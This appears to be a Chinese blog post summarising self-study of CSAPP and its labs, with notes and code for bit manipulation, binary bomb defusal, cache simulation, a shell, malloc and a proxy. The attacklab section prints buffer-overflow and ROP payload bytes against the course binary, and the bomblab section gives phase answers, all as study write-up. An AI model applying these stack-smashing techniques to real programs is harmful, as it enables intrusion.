这学期开始在学校没有课程了，所以也开始自己学一些课程，就选择了本科就一直想学的ICS。这门课使用的是有名的CSAPP，一边读书一边做官网的lab，效果不错。
如果准备自学的话，比较好的方式是买一本《深入理解计算机系统》，然后根据书籍网站做lab，每看一章的书，就做对应部分的lab，能起到非常好的锻炼巩固效果。这个课程也有教学视频，录的很不错，我最开始跟了几节，但发现听课比较缓慢就没跟了，自己每章多读几遍书能够达到一样的效果。
再次夸一下，课程lab真的非常良心，里面代码，说明文档都很全，自己写完每个lab之后，也可以运行打分程序来检验完成情况。当然，程序只能在linux上跑，自学的话自己需要搭建linux环境，如果之前不熟悉linux系统的话，强烈推荐在腾讯云/阿里云上开一个云服务器，学生优惠可能只要10块钱一个月，是用来学习体验折腾跑lab的首选！我已经完成了所有lab，代码都放在Github上了。现在根据lab对每章进行复习，总结记录一下。
下面是目录：
Datalab
这一部分是比较基础的内容，主要需要知道怎么用二进制表示整型、浮点型，以及二进制转换运算方法。无符号整型用原码表示、有符号整型用补码表示、浮点型根据IEEE标准来。
浮点型规则稍微多一些，用 \( V=(-1)^s \times M \times 2^E \) 来表示，其中\( s,E,M \)占不同的位数。单精度（float）浮点数中 \(s=1, E=8, M=23 \) ；双精度（double）浮点数中 \(s=1, E=11, M=52 \) 。这能看出，十进制下，float的精度在6～7位，double的精度在15～16位。根据 \( E \) 的值，浮点数大体分为三种：
- \( 0 \lt E \lt 255 \)，规格化的，此时\( M \) 表示科学计数法中的小数点部分1.几几。
- \( E=0 \)，非规格化的，此时\( M \) 表示0.几几。
- \( E=255 \)，特殊值，此时若\(M=0\)，则表示无穷大；若\(M \ne 0\)，则表示NaN。
基本内容就是这些，注意整型运算时的溢出，浮点运算没有结合律，不同类型数据转换就可以了。
Datalab要求用基本的比特操作实现一些运算，有几个稍微复杂一些，记录下来：
/* 用~与&实现^ */
int bitXor(int x, int y) {
return ~(~ x & ~y) & ~(x & y);
}
/* 检查偶数位是否都为1 */
int allOddBits(int x) {
int x0 = x;
int x1 = (x0 >> 16) & x0;
int x2 = (x1 >> 8) & x1;
int x3 = (x2 >> 4) & x2;
int x4 = (x3 >> 2) & x3;
return (x4 & 0x2) >> 1;
}
/* 实现<= */
int isLessOrEqual(int x, int y) {
return ( ( (x>>31)& ~ (y>>31)) | ( (~((x>>31)^(y>>31))) & ~((y + ((~x)+1))>>31) ) | (x & ((~x)+1))>>31) & 1 ;
}
Bomblab
这一部分是整个书核心，介绍程序的机器级表示，即高级语言（C）是如何转化为机器可执行的机器语言的，了解这这些之后，再看C语言的特性（指针、过程）就非常自然了。
C程序文件经过预处理、编译、链接步骤成为可执行程序，其中编译是将高级代码转化为机器代码。机器代码的格式与行为是被指令集架构（ISA，Instruction Set Architecture）来定义，这样的好处是可以屏蔽掉复杂的硬件实现和执行过程，编码者可以认为CPU按顺序不断执行命令，从而只需要关注指令的功能就可以。机器代码可以访问处理器的寄存器：程序计数器（PC，%rip）；16个8位的整数寄存器，包括保存栈指针的%rsp；条件码和向量寄存器等。这样用机器代码的数据传送、算数逻辑操作和控制转移指令就可以实现高级语言中的条件和循环结构了。
其中，局部变量存储在栈上，当调用新的过程时，栈向下增长，并且将原有程序执行的地址保存在栈中，当次过程调用结束，栈向上收缩，并pop出之前保存的程序执行的地址赋给%rip，接着执行。这样做简单方便，对于系统来说不需做额外的维护，一条条执行指令就可以了。
了解这些能让人明白：
- 汇编语言没有变量“类型”的概念，高级语言使用变量类型来帮助程序员写更好更安全的程序，在编译阶段，类型可以指导汇编语言的生成。
- 过程中的局部变量在程序返回后就不存在了，因为栈会缩减，寄存器会被抹掉，通过寄存器返回值。
- 有的变量是没有地址的，只短暂地存在寄存器中。但是在C中对任何变量取地址，都会获得一个地址。
这一部分的lab也是非常有意思：解译二进制的程序，输入程序所要求输入的字符串，否则程序就会“爆炸”。这要求使用gdb等工具进行调试，一行行看汇编程序找解谜的线索，过程小心翼翼跟拆炸弹差不多。下面是本次lab比较有意思的phase记录：
Phase 1
(gdb) disass phase_1
Dump of assembler code for function phase_1:
0x0000000000400ee0 <+0>: sub $0x8,%rsp
0x0000000000400ee4 <+4>: mov $0x402400,%esi
0x0000000000400ee9 <+9>: callq 0x401338 <strings_not_equal>
0x0000000000400eee <+14>: test %eax,%eax
0x0000000000400ef0 <+16>: je 0x400ef7 <phase_1+23>
0x0000000000400ef2 <+18>: callq 0x40143a <explode_bomb>
0x0000000000400ef7 <+23>: add $0x8,%rsp
0x0000000000400efb <+27>: retq
End of assembler dump.
第一阶段是让人熟悉拆炸弹的流程，代码很简单，可以看到是调用了string_not_equal来判断字符串是否相等，在调用前传了%esi参数，应该是字符串的地址，直接用x/s 0x402400就可以看到该地址的字符串，所以要输入的字符串也是这个Border relations with Canada have never been better.。
(gdb) x/s 0x402400
0x402400: "Border relations with Canada have never been better."
Phase 5
这部分代码稍长，这里就不放了，其核心还是比较字符串是不是一样的：
0x00000000004010b3 <+81>: mov $0x40245e,%esi
0x00000000004010b8 <+86>: lea 0x10(%rsp),%rdi
0x00000000004010bd <+91>: callq 0x401338 <strings_not_equal>
0x00000000004010c2 <+96>: test %eax,%eax
0x00000000004010c4 <+98>: je 0x4010d9 <phase_5+119>
0x00000000004010c6 <+100>: callq 0x40143a <explode_bomb>
(gdb) x/s 0x40245e
0x40245e: "flyers"
查看地址发现，一个字符串是flyers，但另一个字符串不是初始输入的字符串，而是经过转换的，转换的代码在这里：
0x000000000040108b <+41>: movzbl (%rbx,%rax,1),%ecx
0x000000000040108f <+45>: mov %cl,(%rsp)
0x0000000000401092 <+48>: mov (%rsp),%rdx
0x0000000000401096 <+52>: and $0xf,%edx
0x0000000000401099 <+55>: movzbl 0x4024b0(%rdx),%edx
0x00000000004010a0 <+62>: mov %dl,0x10(%rsp,%rax,1)
0x00000000004010a4 <+66>: add $0x1,%rax
0x00000000004010a8 <+70>: cmp $0x6,%rax
0x00000000004010ac <+74>: jne 0x40108b <phase_5+41>
可以看到这里循环6次，每次取一个字节，先用and $0xf,%edx取低4位，再根据这个值加上基地址movzbl 0x4024b0(%rdx),%edx取值，这个偏移地址为0x4024b0，查看一下里面存的啥：
(gdb) x/s 0x4024b0
0x4024b0 <array.3449>: "maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?"
是比较乱的字符，这里基本可以知道这是根据输入的字符，取后四位作为偏移，对应到这个字符串里的字符，取出来要成为 flyers。这里需要的偏移数为9 15 14 5 6 7，所以有很多字符都符合要求如：)/.%&'，IONEFG，ionefg。
Phase 6
这最后一阶段是压轴题，代码更长，长到一个屏幕已经装不下。。。不过好在代码分为几个小节，之间没有什么重合，耐心慢慢看下去就可以了，这里简要说一下代码的意思：从字符串中读取6个数字，要求数字不大于6，且每个数字都不同，然后用7减去每个数字转换一下，后面用这从1到6的数字对结构节点体排列，形成链表，要求节点的值从大到小排列。结构体大概长这样：
struct node{
int val;
int id;
node *next;
}nodes[6];
nodes在内存中是这样排的：
(gdb) x/24uw 0x6032d0
0x6032d0 <node1>: 332 1 6304480 0
0x6032e0 <node2>: 168 2 6304496 0
0x6032f0 <node3>: 924 3 6304512 0
0x603300 <node4>: 691 4 6304528 0
0x603310 <node5>: 477 5 6304544 0
0x603320 <node6>: 443 6 0 0
然后根据转换后的数字把链表重新排列，例如转换后的数字为5 4 2 1 3 6，那么重排列后的链表就是nodes[5] -> nodes[4] -> nodes[2] -> nodes[1] -> nodes[3] -> nodes[6]，最后要求重排列后节点的值是从大到小的，所以这样就可以定出转换后的数字了：3 4 5 6 1 2，那么原始的数字就是：4 3 2 1 6 5。
总结一下，拆解的关键理清楚循环，猜测并验证代码的意图。这样就完成了所有phase！
(gdb) run keys
Starting program: /home/irsgis/csapp/02-bomblab/bomb/bomb keys
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Phase 1 defused. How about the next one?
That's number 2. Keep going!
Halfway there!
So you got that one. Try this one.
Good work! On to the next...
Congratulations! You've defused the bomb!
[Inferior 1 (process 56583) exited normally]
Attacklab
之前说到，过程的地址和局部变量都存在栈中，系统不需要额外的维护，简单方便，但这也带来了攻击的可能：子过程可以修改栈上存储的其他过程的数据与指令地址，因为这些地址也是存在栈中的。这一节的lab就要求通过这种方式来改变程序正常的执行流程，进行Attack。
要注意的是，attacklab需要在比较旧的ubuntu版本运行，因为新版本的操作系统会有方法防止attack。亲测可以在ubuntu 14上可以运行，我使用lxd可以很轻松地给自己开想要版本的ubuntu虚拟机，然后用git管理代码，非常舒服。
第一部分： 第一部分需要进行代码注入攻击，也就是在输入字符串的时候，使用精心编排好的字符串，让缓冲区溢出，这样能够污染栈，改写过程返回之后执行的代码地址，达到想要的目的。例如对于第一题，其代码是这样，正常运行就是失败。
void test(){
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
任务要求在执行这一段代码的时候，跳到另一个touch1函数，那么可以在getbuf读取字符串的时候，使用代码注入攻击，改写程序返回地址。getbuf汇编代码是这样：
(gdb) disass getbuf
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
End of assembler dump.
%rsp留出了0x28个字节的长度，我们需要输入48个字节的字符串，其中最后一组字符串填的是touch1的地址：
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 /* the address of touch1 */
这样读取字符串后会覆盖掉getbuf返回后执行的指令地址，替换为touch1的入口地址，程序执行时也就会进入touch1。这样就完成了一次代码注入攻击，后面两道题也是差不多的方式。
第二部分：
第二部分攻击困难一些，因为程序使用了栈随机化和限制执行代码的地址来防止攻击，代码注入攻击不起作用了，这时候就需要在已有的代码里找一些有用的片段，将其拼合起来达到我们的目的。
例如在level2，不仅需要进入touch2，还要将特定的字符串作为参数输入进去，这就需要利用已有的代码片段将字符串放在%rax中。这里，我利用一个代码片段将cookie放到%rax里，再进入另一个片段，将%rax的内容放到%rdi里，返回，再进入touch2函数，就相当于我们将cookie设置为参数，调用touch2函数。
00 00 00 00 00 00 00 00 /* 78 */
00 00 00 00 00 00 00 00 /* 80 *
00 00 00 00 00 00 00 00 /* 88 */
00 00 00 00 00 00 00 00 /* 90 */
00 00 00 00 00 00 00 00 /* 98 */
ab 19 40 00 00 00 00 00 /* a0: popq %rax; ret */
fa 97 b9 59 00 00 00 00 /* a8: cookie */
c5 19 40 00 00 00 00 00 /* b0: movl %rax,%rdi; ret */
ec 17 40 00 00 00 00 00 /* touch2 */
level3需要跳转的次数有点多，要做出来需要花太多时间（都想写个程序来遍历跳转的可能了），因为已经基本掌握了这种攻击的方式，也锻炼的差不多，就没再做了。
Cachelab
第五章和第六章主要介绍程序性能优化和存储器层次结构。
优化程序性能主要靠提高那些需要经常执行的代码，着重于优化循环部分的代码，可以在这几点进行优化：减少过程调用次数；减少不必要的内存读写，特别是在循环中对指针有读和写时，每次都要从内存中读变量，因为指针可能是重合的；利用时间的局部性和空间的局部性，编写缓存友好型代码；利用CPU的流水线特性提高指令并行性；写适合用条件传送的代码，避免分支预测。
存储体系像一个金字塔一样，塔顶是CPU寄存器，接着是L1、L2、L3缓存，内存然后到硬盘，其中越接近塔顶读写速度越快，每字节造价越高；越到塔底读写速度越低，没字节越偏移。例如访问CPU高速缓存中的数据需要几十个CPU时钟周期，但是访问在磁盘上的数据可能需要几千万个时钟周期。存储器的性能差距会一直存在，为了缓解存储速度不匹配的问题，构建缓存是比较现实的方法，利用程序的时空局部性原理，用小而快存储设备缓存最大而慢存储设备里常用的数据。
一个高速缓存结构可以用 \( (S, E, B, m) \) 来描述，其中S是组数，E是每组的行数，B是每行存储的比特数。那么一个 \( m \) 位的地址可以划分为三块：标记位 \( m-s-b \) 位、组索引 \( s \) 位、块偏移 \( b \) 位。\( E=1 \) 是直接映射高速缓存；\( 1 \lt E \lt C/B \) 是组相连高速缓存；\( E=C/B \) 是全相连高速缓存，相当于只有一组。
这个lab第一部分是写一个缓存模拟器，根据缓存的参数和给定的读写记录，输出miss、hit、eviction情况，这需要理解清楚缓存的结构，编码比较容易。我的代码里用三个数组来存储有效位、标记位和时间戳：
int *valid = (int*) malloc(S*E*sizeof(int));
int *tag = (int*) malloc(S*E*sizeof(int));
int *used_tick = (int*) malloc(S*E*sizeof(int));
然后根据逻辑来访问缓存，其中touch相当于访问缓存，读和写访问一次，修改访问两次：
void touch(int s_index, int tag_id){
//printf(" %d %d", s_index, tag_id);
int lui = E*s_index;
for (int i=E*s_index; i<E*(s_index+1); i++){
if(valid[i] && tag[i] == tag_id){
printf(" hit");
hits++;
used_tick[i] = (tick ++);
return;
}
else{
if(used_tick[i] < used_tick[lui]){
lui = i;
}
}
}
printf(" miss");
misses++;
if(valid[lui]){
printf(" eviction");
evictions++;
}
valid[lui] = 1;
tag[lui] = tag_id;
used_tick[lui] = (tick++);
}
void execute(char op, int address, int size){
int start = address >> b;
int end = (address + size - 1) >> b;
int s_index, tag_id;
for (int i=start; i<=end; i++){
tag_id = i >> s;
s_index = i & ((1 << s)-1);
switch(op){
case 'L':
touch(s_index, tag_id);
break;
case 'S':
touch(s_index, tag_id);
break;
case 'M':
touch(s_index, tag_id);
touch(s_index, tag_id);
break;
}
}
}
第二部分要实现矩阵转置函数，但是要将缓存miss降到最低，有一定的难度。基本的思想是在循环里设置步长，每次只转置一个小方块，从而达到好的时间空间局部性。然后在转置小方块时，应该用临时变量存下一行的数字，这样防止在写到另一个矩阵的时候，缓存会冲突。下面是一个简单的例子：
void t32(int M, int N, int A[N][M], int B[M][N])
{
int ii, i, j, v0, v1, v2, v3, v4, v5, v6, v7;
int step = 8;
for (i = 0; i < N; i += step)
{
for (j = 0; j < M; j += step)
{
for (ii = 0; ii < step && ii + i < N; ii++)
{
v0 = A[i + ii][j + 0];
v1 = A[i + ii][j + 1];
v2 = A[i + ii][j + 2];
v3 = A[i + ii][j + 3];
v4 = A[i + ii][j + 4];
v5 = A[i + ii][j + 5];
v6 = A[i + ii][j + 6];
v7 = A[i + ii][j + 7];
B[j + 0][i + ii] = v0;
B[j + 1][i + ii] = v1;
B[j + 2][i + ii] = v2;
B[j + 3][i + ii] = v3;
B[j + 4][i + ii] = v4;
B[j + 5][i + ii] = v5;
B[j + 6][i + ii] = v6;
B[j + 7][i + ii] = v7;
}
}
}
}
第二部分最后没得到满分，要想满分，还需要进行更多细微的优化，当前停留在这个阶段：
Cache Lab summary:
Points Max pts Misses
Csim correctness 27.0 27
Trans perf 32x32 8.0 8 287
Trans perf 64x64 3.8 8 1667
Trans perf 61x67 10.0 10 1889
Total points 48.8 53
Shelllab
工程的拆分和组合是永远需要考虑的问题，链接便是组合代码数据片段的过程，使得分离编译成为可能，也就是把复杂巨大的程序分割为单独的模块，分开编译，最后再链接，这样修改其中一个模块时，只需要重新编译这一个模块再重新链接就好了；同时，链接也使得共享库更加高效和方便。目标文件有三种形式：可重定位目标文件、可执行目标文件、共享目标文件。程序代码经过编译器生成可重定位目标文件（或共享目标文件），然后经过链接器生成可执行目标文件。链接器在链接目标文件时，需要解析全局符号，将它们指向同一个地址。因为汇编器在遇到对最终位置不知道的引用时，就会生成一个重定位条目，然后链接器在链接是修改地址。当然，链接器也可以将目标文件与静态库链接，只链接被程序引用的目标模块，减小可执行文件的大小。
动态链接库（DLL）\共享库（Shared Obejct .so）使得程序与库的关系更加松散，多个程序可以同时调用同一个动态链接库，这样就能避免多次加载同一个库，节省内存。共享库被编译为位置无关代码（Position-Independent Code, PIC），可以被加载到内存的任何位置。在调用PIC时，使用延迟绑定（Lazy Binding）的机制，将过程地址的绑定推迟到第一次调用该过程时。此外，Linux还支持库打桩机制，截获对共享函数的调用。
现代系统使用异常控制流（Exceptional Control Flow, ECF）来对突发情况作出反应。异常可以分为四类：中断、陷阱、故障、终止，在软硬件各个层级都有使用。
本次lab是实现一个基础的shell，需要能够运行程序、终止程序、后台运行程序、维护后台程序列表、挂起程序等，难点是实现信号处理函数。在信号处理函数里需要block其他信号，维护任务状态，输出日志，下面是三个主要的信号处理函数sigchld, sigint, sigtstp，其中任务终结时的日志需要在sigchld里输出。
/*
* sigchld_handler - The kernel sends a SIGCHLD to the shell whenever
* a child job terminates (becomes a zombie), or stops because it
* received a SIGSTOP or SIGTSTP signal. The handler reaps all
* available zombie children, but doesn't wait for any other
* currently running children to terminate.
*/
void sigchld_handler(int sig)
{
int olderrno = errno;
int status, pid;
sigset_t mask, prev_mask;
sigfillset(&mask);
print_log("sigchld_handler\n");
sigprocmask(SIG_BLOCK, &mask, &prev_mask);
while ((pid = waitpid(-1, &status, WNOHANG | WUNTRACED)) > 0)
{
if (pid == fg_pid)
fg_pid = 0;
if (WIFEXITED(status) || WIFSIGNALED(status))
deletejob(jobs, pid);
if (WIFSIGNALED(status) && WTERMSIG(status) == SIGINT)
{
printf("Job [%d] (%d) terminated by signal %d\n", pid2jid(pid), pid, SIGINT);
}
if (WIFSTOPPED(status) && (WSTOPSIG(status) == SIGTSTP || WSTOPSIG(status) == SIGSTOP))
{
struct job_t *job = getjobpid(jobs, pid);
job->state = ST;
printf("Job [%d] (%d) stopped by signal %d\n", pid2jid(pid), pid, SIGTSTP);
}
}
sigprocmask(SIG_SETMASK, &prev_mask, NULL);
errno = olderrno;
}
/*
* sigint_handler - The kernel sends a SIGINT to the shell whenver the
* user types ctrl-c at the keyboard. Catch it and send it along
* to the foreground job.
*/
void sigint_handler(int sig)
{
int olderrno = errno;
sigset_t mask, prev_mask;
sigfillset(&mask);
print_log("sigint_handler\n");
sigprocmask(SIG_BLOCK, &mask, &prev_mask);
if (fg_pid)
{
struct job_t *fg_job = getjobpid(jobs, fg_pid);
if (fg_job)
{
if (fg_job->state == FG)
{
kill(-fg_pid, SIGINT);
//printf("Job [%d] (%d) terminated by signal %d\n",fg_job->jid ,fg_job->pid ,SIGINT);
print_log("send kill\n");
}
}
fg_pid = 0;
}
sigprocmask(SIG_SETMASK, &prev_mask, NULL);
errno = olderrno;
}
/*
* sigtstp_handler - The kernel sends a SIGTSTP to the shell whenever
* the user types ctrl-z at the keyboard. Catch it and suspend the
* foreground job by sending it a SIGTSTP.
*/
void sigtstp_handler(int sig)
{
int olderrno = errno;
sigset_t mask, prev_mask;
sigfillset(&mask);
print_log("sigstp_handler\n");
sigprocmask(SIG_BLOCK, &mask, &prev_mask);
if (fg_pid)
{
struct job_t *fg_job = getjobpid(jobs, fg_pid);
if (fg_job)
{
if (fg_job->state == FG)
{
//fg_job->state=ST;
kill(-fg_pid, SIGTSTP);
//printf("Job [%d] (%d) stopped by signal %d\n",pid2jid(fg_pid) , fg_pid, SIGTSTP);
print_log("send SIGTSTP\n");
}
}
fg_pid = 0;
}
sigprocmask(SIG_SETMASK, &prev_mask, NULL);
errno = olderrno;
}
Malloclab
现代操作系统使用虚拟地址来为进程提供内存资源，这样有几个主要的好处：
- 隔离，不同进程之间的虚拟地址是隔离的，进程只能访问自己的虚拟地址，防止进程修改其他进程的数据。
- 简单，每个进程的虚拟地址空间都是一致的，这样对于链接器来说每个程序被加载的地址都一样，简化程序生成。
- 高效，将物理内存看作为内存空间的缓存，内存空间存储于磁盘上，然后根据需要将在内存和磁盘之间交换数据。
具体来说，当进程访问一个地址时，给的是虚拟地址，然后操作系统和硬件配合起来，将虚拟地址翻译为物理地址，然后再访问物理内存。为了方便地完成地址转换，操作系统将内存划分为页，一页通常为4KB或4MB，虚拟地址的一整页和物理地址的一整页做映射，这样记录VPN（Virtual Page Number）和PPN（Physical Page Number）的映射就可以做地址转换了。在翻译时，如果发现该页不在物理内存中，而在磁盘中，就需要先把该页加载到物理内存，然后再进行读取。地址翻译是很基本的操作，为了加速这一过程，通常由MMU和操作系统合作完成，配合缓存PTE的cache（叫做translation lookaside table, TLB），能够达到可以接受的速度。
动态内存分配让程序可以在运行时申请内存，使用malloc和free来申请和释放内存，在连续的内存块中支持多次申请和释放内存需要特别的设计，以尽量减少未被利用的碎片（包括内部碎片和外部碎片）和增加性能。主要的方案是使用链表来记录已分配的块和空闲块，包括隐式空闲链表和显式空闲链表，其中显式空闲链表可以使用分离适配来将空闲块按大小分组，这样再分配块的时候直接去对应大小的组去查找就可以了。
本次lab就是实现一个比较高效的动态内存分配程序，调用操作系统的sbrk函数来实现malloc, free, realloc函数，写之前需要小心翼翼将总体设计好，写的时候十分舒服。我使用了分离适配的显式空闲链表，非空闲块只在头部和尾部记录块大小，同一组（例如块大小在8-15）的空闲块通过双向链表连接起来。下面是其结构说明：
/*
* mm.c - The fast, segregated fit malloc package.
*
* The allocated block:
* -----------------------------------
* |HEADER| ... |FOOTER|
* -----------------------------------
*
* The empty blocks are divided into different groups by the size.
* Empty blocks in the same group are connected with linked list:
* -----------------------------------------------------
* |HEADER|NEXT_BLK|PREV_BLK| ... |FOOTER|
* -----------------------------------------------------
*
* The headers of linked list are aligned in the begining of the heap.
* The first two words are used as the end node of all linked list. (Because
* the smallest size is 4.)
* ------------------------------------------------------
* | end| end|g4-7|g8-15|...| ... |g2^32|
* ------------------------------------------------------
*
*/
这种策略效率不错，但是在几个测试数据上空间利用率不好，调试的时候试了链表上的最佳适配也没太大改观。后来查了一些博客，看到需要对测试数据集进行优化，例如在place函数放置块时，小块靠左，大块靠右，能够明显提升在测试数据上的表现。最后优化到94分，尽力了。。。
Results for mm malloc:
trace valid util ops secs Kops
0 yes 98% 5694 0.000224 25465
1 yes 96% 5848 0.000252 23225
2 yes 98% 6648 0.000278 23948
3 yes 98% 5380 0.000237 22729
4 yes 98% 14400 0.000440 32705
5 yes 93% 4800 0.000283 16955
6 yes 91% 4800 0.000284 16901
7 yes 96% 12000 0.000406 29549
8 yes 89% 24000 0.000791 30334
9 yes 78% 14401 0.000828 17386
10 yes 49% 14401 0.000540 26688
Total 89% 112372 0.004562 24631
Perf index = 54 (util) + 40 (thru) = 94/100
自己写的比较满意的一块是重分配函数realloc里面，当块扩容，需要挪到另一块时，可以先free掉这一个块，与周围块合并，再找新的块。也就是先释放，再找空闲块，这样这个释放掉的位置就有机会与相邻的空闲块合并，合并的空闲块可能足够扩容后的块，也就避免重新分配空间了。当然这个只是很小的优化，用其他方式写也可以，实际中应该没啥大用处。下面的实现这个的代码片段：
// Need to find block to fit
else{
// Save the first two words of this block and free this block.
unsigned int data_next = (unsigned int)ENEXT_BLKP(bp);
unsigned int data_prev = (unsigned int)EPREV_BLKP(bp);
free_block(bp);
nbp = find_fit(asize);
if (nbp == NULL){
size_t extendsize = MAX(asize, CHUNKSIZE);
if((nbp = extend_heap(extendsize/WSIZE)) == NULL){
PRINTF("extend failed.\n");
return NULL;
}
}
// Don't use memcopy, because bp and nbp may overlap.
memmove(nbp+DSIZE, bp+DSIZE, origin_size-DSIZE-DSIZE);
nbp = place(nbp, asize, 1);
/* Restore the firs two words of this new block because
* they are overwritten in the free phase. */
ESET_NEXT_BLK(nbp, data_next);
ESET_PREV_BLK(nbp, data_prev);
// return nbp;
final_bp = nbp;
}
Proxylab
这一部分介绍进程间的交互和通讯，在Unix中，所有I/O设备，包括网络、硬盘和终端，都被组织成文件，从而用同一种方式读写，非常简单，也非常强大。
最后一章介绍并发编程，并发编程有三种实现方式：多进程、多线程和I/O多路复用。在并发编程里，经常需要共享变量和进程同步，此时需要小心设计，否则多个进程同时写一个变量会出现不正常的结果。一个好的办法是使用Dijkstra提出的信号量（semaphore）的P与V操作来同步进程，P代表消耗，V代表增加，都是原子操作，当信号量为0时再用P操作就会进入等待。用信号量时，应避免死锁与饥饿，常见的场景有生产者消费者问题和共享读写问题。在多线程环境中，要使用线程安全函数防止出错，可重入函数是一种特别的线程安全函数，因为它不引用任何共享的数据。
本次lab是实现一个并发的微型http代理服务器，能够转发http的get请求，并且能够缓存一些http返回数据，非常适合当作练习。一方面，代理需要处理客户端的网络请求，也要发送请求给服务器，也就是自己既当客户端，又当服务器，能够练习两个方面的网络编程；另一方面能够练习并发编程，cache要求能够共享读写，需要练习读者-写者同步问题，而用线程池需要实现生产者-消费者同步。
代码主体如下，程序不断监听服务端口，当有新请求到达时，就添加到队列里，等待子进程处理请求，使用生产者——消费者模型来控制请求的添加与分发，开启的子线程数量是一定的，每个子线程不断从队列中取请求然后处理请求，当没有请求时就自动进入等待。
int main(int argc, char * argv[])
{
int listenfd, connfd;
char hostname[MAXLINE], port[MAXLINE];
socklen_t clientlen;
struct sockaddr_storage clientaddr;
pthread_t tid;
// igonre SIGPIPE
Signal(SIGPIPE, SIG_IGN);
//sigaction(SIGPIPE, &(struct sigaction){SIG_IGN}, NULL);
if (argc != 2){
fprintf(stderr, "Usage: %s <port>\n", argv[0]);
return 0;
}
PRINTLOG("Port: %s\n", argv[1]);
listenfd = Open_listenfd(argv[1]);
sbuf_init(&sbuf, SBUFSIZE);
cache_init(&cache, CACHE_NUM);
for (int i=0;i<THREADS; i++){
Pthread_create(&tid, NULL, thread, NULL);
}
while (1)
{
clientlen = sizeof(clientaddr);
if((connfd = accept(listenfd, (SA *)&clientaddr, &clientlen)) < 0){
PRINTLOG("Accept failed.\n");
continue;
}
if(getnameinfo((SA *) &clientaddr, clientlen,
hostname, MAXLINE, port, MAXLINE, 0)!=0){
PRINTLOG("getnameinfo failed.\n");
continue;
}
sbuf_add(&sbuf, connfd);
PRINTLOG("Accepting connection from (%s, %s)\n", hostname, port);
}
// never get here.
subf_destory(&sbuf);
cache_destory(&cache);
return 0;
}
void *thread(void *vargp){
pthread_detach(pthread_self());
while(1){
PRINTLOG("Client connection allocated.\n");
int connfd = sbuf_remove(&sbuf);
doit(connfd);
close(connfd);
PRINTLOG("Client connection closed.\n");
}
}
缓存的实现稍微复杂一些，为了让读写公平一些，减少饥饿的情况，使用了三个信号量来控制同步，具体实现可查看cache.c文件。
总结
CSAPP确实非常适合当作计算机专业的核心基础书，读完这个，对程序的编写、编译与运行原理可以有一个基础的认识，同时也能了解一些操作系统、硬件、网络的内容。面对现在高度发展、令人烟花缭乱的技术，让人建立起能够继续学习下去的能力、信心和兴趣。